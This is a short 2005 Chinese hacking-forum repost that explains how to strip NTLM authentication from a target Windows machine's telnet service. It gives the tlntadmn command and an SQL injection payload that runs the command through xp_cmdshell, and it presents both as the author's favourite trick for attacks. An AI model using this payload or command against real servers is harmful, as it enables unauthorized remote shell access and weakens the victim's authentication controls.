黑色海岸线论坛 - Powered by Discuz! Board

标题: [转帖]绕过NTLM认证的精典方法 [打印本页]

作者: chinanic 时间: 2005-10-6 20:55 标题: [转帖]绕过NTLM认证的精典方法

文章作者：紫幻[EST顾问团成员]
信息来源：邪恶八进制中国
相信大家都对telnet比较熟悉吧。hacking的时候经常用到的系统自带shell尤其是注射的时候，但是最讨厌的就是ntlm认证了，以前大家去掉ntlm的方法一般有2种。
1 上传ntml.exe 这种方法有很多缺点，比如：对方有杀毒软件，很多网段屏蔽了TFTP.
2 直接写入telnet的配置信息到文本中然后在用shell执行。这种办法非常麻烦。

今天我给大家介绍我一直在使用的办法，压箱底的哦。
那就是直接运行命令：tlntadmn config sec = -ntlm
注射的话可以直接运行：;exec master.dbo.xp_cmdshell ';tlntadmn config sec = -ntlm';--
运行以后就去掉了该死的ntlm认证：）

欢迎光临黑色海岸线论坛 (http://bbs.thysea.com/)